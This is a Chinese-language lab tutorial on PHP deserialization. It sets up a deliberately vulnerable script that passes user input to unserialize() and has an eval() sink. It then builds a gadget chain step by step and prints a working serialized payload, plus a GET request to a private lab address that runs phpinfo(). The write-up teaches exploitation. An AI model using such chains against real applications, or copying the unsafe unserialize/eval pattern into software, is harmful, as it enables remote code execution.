反序列化漏洞(2), 分析调用链, 编写POC

反序列化漏洞(2), 反序列化调用链分析

一, 编写php漏洞脚本

http://192.168.112.200/security/unserial/ustest.php

php 复制代码
<?php
class Tiger{
    public $string;
    protected $var;
    public function __toString(){
        return $this->string;
    }
    public function boss($value){
        @eval($value);
    }
    public function __invoke(){
        $this->boss($this->var);
    }
}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }
    public function __get($value){
        $function = $this->tail;
        return $function();
    }
}

class Monkey{
    public $head;
    public $hand;
    public function __construct($here="cmd"){
        $this->head = $here;
        echo "Welcome to ".$this->head."<br>";
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct($nice="nice"){
        $this->nice = $nice;
        echo $nice;
    }
    public function __toString(){
        return $this->nice->nose;
    }
}

if(isset($_GET['cmd'])){
    @unserialize($_GET['cmd']);
}
else{
    $a = new Monkey;
    echo "Hello!";
}
?>

二. 代码审计, 编写POC脚本

1. 找到执行终点.

eval() 函数在Tiger类的boss()方法中, 那么只要能从unserialize()方法开始反序列化, 最终执行到 boss()方法就可以利用了.

2. 找到执行起点.

通常反序列化函数unserialize()在执行后, 必然会调用 __wakeup() 与 __destruct() 方法.

只有在 Monkey 类中有 __wakeup(), 那么以 Monkey 类作为调用链的起点来分析.

3. 分析出一条可以从起点到终点的调用链

Monkey 类的 __wakeup() 中调用 preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head),
preg_match() 函数要求两个参数都是字符串, 第一个参数是正则式, 第二个参数 $this->head 也必须是字符串.

我们看到 $this->head 的值最开始是来源于构造方法 __construct($here="cmd"), 默认值是"cmd",

如果程序走到 preg_match(), $this->head 作为参数传入时是一个字符串, 那么 __wakeup() 中就无法再执行到其他类的属性或方法了, 而我们的最终目的是要走到Tiger类的boss()方法, 所以 $this->head 这里考虑一下类型转换的情况.

我们再观察其他能够自动执行的魔术方法, 发现 __toString() 函数, 这个函数当对象转换为字符串时会自动调用.

那么我们再考虑 $this-head, 如果它原本是一个其他类的对象, 在传入 preg_match() 方法后就会被转换为字符串, 这样就会自动调用到那个类的 __toString() 方法了.

我们看到 __toString()TigerElephant 两个类中都有.

先看 Tiger 类, 它的 __toString() 只是返回了一个变量值, 无法调用其他对象或方法, 没有利用价值, 略过.

再看 Elephant 类, 它的 __toString () 返回 $this->nice->nose;, 那么我们如果让$this->head = new Elephant()就可以从Monkey对象自动走到这里.

根据上面的分析, 构造一下调用链的POC脚本:

php 复制代码
class Elephant{
    public $nose;
    public $nice;
}

class Monkey{
    public $head;

    public function __construct(){
        $this->head = new Elephant();
    }
}

继续分析$this->nice->nose;, 由 $this->nice 对象读取 nose 属性, 我们可以观察一下有没有与调用属性自动会触发的魔术方法.

发现在 Lion 类中有一个__GET()方法, 该方法在读取不存在的属性时被调用.

那么如果我们让$this->nice是一个Lion类的对象, 而Lion类中并没有 nose 属性, 所以会自动触发 __GET() 方法, 我们继续编写POC.

php 复制代码
class Lion{
    public $tail;
}

class Elephant{
    public $nose;
    public $nice;
    
    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;

    public function __construct(){
        $this->head = new Elephant();
    }
}

继续分析 __GET() 方法, 它里面有两句代码:

php 复制代码
$function = $this->tail;
return $function();

我们知道在php中, 对象可以用函数形式来调用, 比如

php 复制代码
$obj = new Test(); // 创建一个Test对象叫做 obj
$obj();

当对象以函数形式调用时, 会自动触发 __invoke() 方法.

那么回来观察 __GET() 方法, 如果 $this->tail 是一个对象的话, return $function(); 就是以函数形式调用对象, 它可以触发 __invoke() .

接下来我们观察一下其他类有没有 __invoke()方法, 发现在 Tiger 类中有, 那么我们让 Lion 走到 Tiger , 继续修改POC:

php 复制代码
class Tiger{
    public $string;
    protected $var;

}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = new Tiger();
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;
    public function __construct(){
        $this->head = new Elephant();
    }
}

继续分析 Tiger 中的代码, 发现__invoke()在调用 $this->boss($this->var);, 而boss()函数就是我们的终点, 参数就是属性var.

所以最后只要做一个赋值就可以完成整个调用链了, 修改poc:

php 复制代码
<?php
class Tiger{
    public $string;
    protected $var = "phpinfo();"; // 执行phpinfo()

}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = new Tiger();
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;
    public function __construct(){
        $this->head = new Elephant();
    }
}

// 创建对象显示出最终的序列化字符串
$monkey = new Monkey();
echo urlencode(serialize($monkey));
?>

poc执行结果:

py 复制代码
O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

三, 漏洞利用

http://192.168.112.200/security/unserial/ustest.php提交GET请求.

py 复制代码
http://192.168.112.200/security/unserial/ustest.php
?cmd=O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

在页面上会看到后端执行了phpinfo();.

相关推荐
_.Switch4 小时前
高级Python自动化运维:容器安全与网络策略的深度解析
运维·网络·python·安全·自动化·devops
JokerSZ.4 小时前
【基于LSM的ELF文件安全模块设计】参考
运维·网络·安全
SafePloy安策4 小时前
软件加密与授权管理:构建安全高效的软件使用体系
安全
芯盾时代5 小时前
数字身份发展趋势前瞻:身份韧性与安全
运维·安全·网络安全·密码学·信息与通信
北京搜维尔科技有限公司7 小时前
搜维尔科技:【应用】Xsens在荷兰车辆管理局人体工程学评估中的应用
人工智能·安全
云起无垠7 小时前
技术分享 | 大语言模型赋能软件测试:开启智能软件安全新时代
人工智能·安全·语言模型
ac-er88888 小时前
PHP弱类型安全问题
开发语言·安全·php
One_Blanks8 小时前
渗透测试-Linux基础(1)
linux·运维·安全
易云码8 小时前
信息安全建设方案,网络安全等保测评方案,等保技术解决方案,等保总体实施方案(Word原件)
数据库·物联网·安全·web安全·低代码